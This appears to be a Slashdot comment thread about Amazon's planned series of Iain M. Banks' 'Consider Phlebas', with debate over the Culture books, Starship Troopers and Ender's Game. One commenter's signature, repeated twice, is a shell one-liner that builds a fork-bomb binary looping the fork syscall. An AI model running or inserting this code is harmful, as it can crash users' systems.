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Amazon Is Developing a TV Series Based On Iain M. Banks' Sci-Fi Novel 'Consider Phlebas' (hollywoodreporter.com)
leathered writes: Jeff Bezos today announced that Amazon Studios has picked up the rights to adapt the late Iain M. Bank's acclaimed Culture novels to the small screen, beginning with the first in the series, Consider Phlebas. This comes after nearly three decades of attempts to bring Banks' utopian, post-scarcity society to film or television. A huge fan of the Culture series is Elon Musk, whose SpaceX drone ships are named after Culture space vessels. Here's how Amazon describes Consider Phlebas: "a kinetic, action-packed adventure on a huge canvas. The book draws upon the extraordinary world and mythology Banks created in the Culture, in which a highly advanced and progressive society ends up at war with the Idirans, a deeply religious, warlike race intent on dominating the entire galaxy. The story centers on Horza, a rogue agent tasked by the Idirans with the impossible mission of recovering a missing Culture 'Mind,' an artificial intelligence many thousands of times smarter than any human -- something that could hold the key to wiping out the Culture altogether. What unfolds, with Banks' trademark irreverent humor, ultimately asks the poignant question of how we can use technology to preserve our humanity, not surrender it."
Fantastic dream however :-)
I've read and re-read all of Banks' "Culture" books. It's one of the few where you get to know extremely powerful AIs as characters. They play a real role in the books, sometimes even more so than the meatbags.
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We have enough politics in everyday life without yet another tv show being a thinly veiled metaphor for America's current political system. I'm looking at you Star Trek, who's producers recently said Klingons are a metaphor for trump supporters http://ew.com/tv/2017/09/07/st...
my karma will be here long after I'm gone
I re-read Consider Phlebas quite recently, and it shows its age. Sure, it's still a fun space-opera style romp with some nicely imagined scenarios, but the main characters are all a bit 80s action movie. I actually think it would work much better staying true to the era than trying to update it to be a thoughtful subtle modern drama.
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Depends what you mean by 'social justice' really. Heinlein was a libertarian who believed in free love and equality between both genders and all races. On the other hand the left said the book was crypto fascist because the society in Starship Troopers is a stratocracy where only veterans can vote. It's not even clear if Heinlein actually thinks that stratocracy is a good thing, or if it's more like something humanity got forced into.
Orson Scott Card's Ender's Game and sequels seems in some ways to be a critique of Starship Troopers - the eponymous hero wipes out the bugs without knowing he was doing it and then spends the rest of series trying to atone for it. On the other hand Orson Scott Card opposed gay marriage and is religious so the left said the book was in part a justification of Western expansion and genocide
If you actually read the books it's clear that the human/Formic war which resulted in near xenocide of the Formics was a caused by a couple of unfortunate misunderstandings on both sides - neither the humans nor the other side was even an entity which could be communicated with.
http://enderverse.wikia.com/wi...
The writing of the short novel The Hive Queen showed that the Formics, once they realized that humans were sentient, deeply regretted their actions in the First and Second Formic Wars and decided not to send another colonization fleet to Earth. Their inability to communicate with the humans led to their utter destruction in the Third Invasion. This simple book slowly began to change public opinion, as they began to see the Formics as tragic creatures and see Ender Wiggin as a heinous mass-murderer, the Xenocide.
As Napoleon said with a wry chuckle on his return from Moscow. "The best-laid schemes o' mice an' men / Gang aft agley"
The Culture is a post scarcity, post capitalist society. The problem is that post capitalist societies are much more likely to end up with a whole lot of scarcity. Still the books are worth reading - they're not just dry ideological lectures. E.g. look at Excession
It's ambiguous whether the ITG was right to intervene in the Affront's culture. Certainly the Excession seems to regard both The Culture and The Affront as being insufficiently enlightened to be worth contacting. And consider this
http://theculture.wikia.com/wi...
Genar-Hofoen returns to the Affront, having been rewarded by being physically transformed into a member of the Affront species (whose company he finds more stimulating than that of the Culture's people).
The Affront seemed pretty loathsome to me
http://theculture.wikia.com/wi...
Affront society is described as being "a never-ending, self-perpetuating holocaust of pain and misery", where the strong prey upon weaker species and individuals. Among the Affront's technological accomplishments is an aptitude for genetic engineering, which they developed long before spaceflight. They use this skill almost exclusively on 'prey species', which tend to be changed so as to provide greater sport (and opportunity for sadism) during the communal hunts forming a major part of the Affront culture. Some examples of these changes include altering game animals to experience heightened levels of fear when recognizing the silhouette of an Affronter, or altering beasts of burden to panic when their masters are excited and thus induce them to pull vehicles faster. One of the few changes to their own species was the redesign of their females to make sex painful for them, a choice exemplary of the reasons they are considered abhorrent by the Culture. "Progress through Pain" i
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
What is the Trade Surplus? Is there any Profit Margin in this?
I think Its a bit of a Grey Area and the whole enterprise is Experiencing a Significant Gravitas Shortfall.
In a survey of 100 programmers, 111111 thought that duck-typing was a good idea.
Starship Troopers the film is a parody of Starship Troopers the book. This is something people who like the book tend to ignore.
I like both myself. However they're telling different and in many ways opposite stories. In the book civilisation collapsed and rebooted and you ended up with a stratocracy which is actually pretty functional and probably the only way humans can survive. Democracy ended in anarchy and the universe is filled with hostile aliens.
In the film civilisation collapsed and you ended up with stratocracy which is very nasty - expansionist, Orwellian and not really militarily competent. The Federation's attack on Klendathu is clearly meant to analogous to the Nazis' hubristic and ultimately disastrous attack on the Soviet Union. It even implies that the story that the bugs started the war might not even be true - we know the bugs don't have interstellar travel and are on the other side of the galaxy so how could they have attacked Earth with a meteor? Do we really need to destroy them? Is the best way to do that by landing infantry with no armour and no airpower?
For what it's worth I think a stratocracy would lead to something really nasty - a sort of modern Sparta where the non citizens would be Helots. But who knows? Science fiction requires that you either suspend disbelief a little bit and accept that the premise produces the society depicted, or put the book down. Similarly once you realise that the film is structured so that you root for humans and later find out they're the bad guys - even though that doesn't make the bugs exactly 'good' - it's actually pretty enjoyable. There aren't that many action films that do that.
And actually satirical adaptations that invert the meaning of the source material aren't a bad thing. The book's society is a critique of what Heinlein saw 60's America turning into, and it's a good one. The film is critique of the idea that stratocracies would not end up as Sparta 2.0. You can like both.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Social justice is pretty much baked into the entire sci-fi genre
That doesn't really compute. There's no reason for that.
Ezekiel 23:20
Cause realistically, it's gotta be both.
...of course, if they simply stick to the book, in which we're seeing one side from the POV of a mercenary working for the other side, and the filmmakers resist the temptation to tell us what to think by (e.g.) having one side wear black leather with red and white badges, that will be left for the viewer to decide... except we'll then get lots of people tweeting that its rubbish because they can't understand it and nobody told them who to cheer for.
Although Banks was quite open about being a socialist, the books are not propaganda: many (most?) of the stories are about the Culture trying to impose its moral ideals on other civilizations, often with disastrous results and buckets of blood.
In a survey of 100 programmers, 111111 thought that duck-typing was a good idea.
You are correct, but it is not for any lack of trying. That whole big "Sad Puppies" brouhaha that kicks up every year around the Hugo Awards is exactly about the attempt to turn science fiction into "message fiction" by refusing recognition to non-SJW writing in the genre. That said, it's nothing new. Marion Zimmer Bradley pioneered the field back in the 20th century with her "Oppressed Lesbian Telepaths of Darkover" books. But unlike her counterparts today, she was happy to coexist with others of a different world view.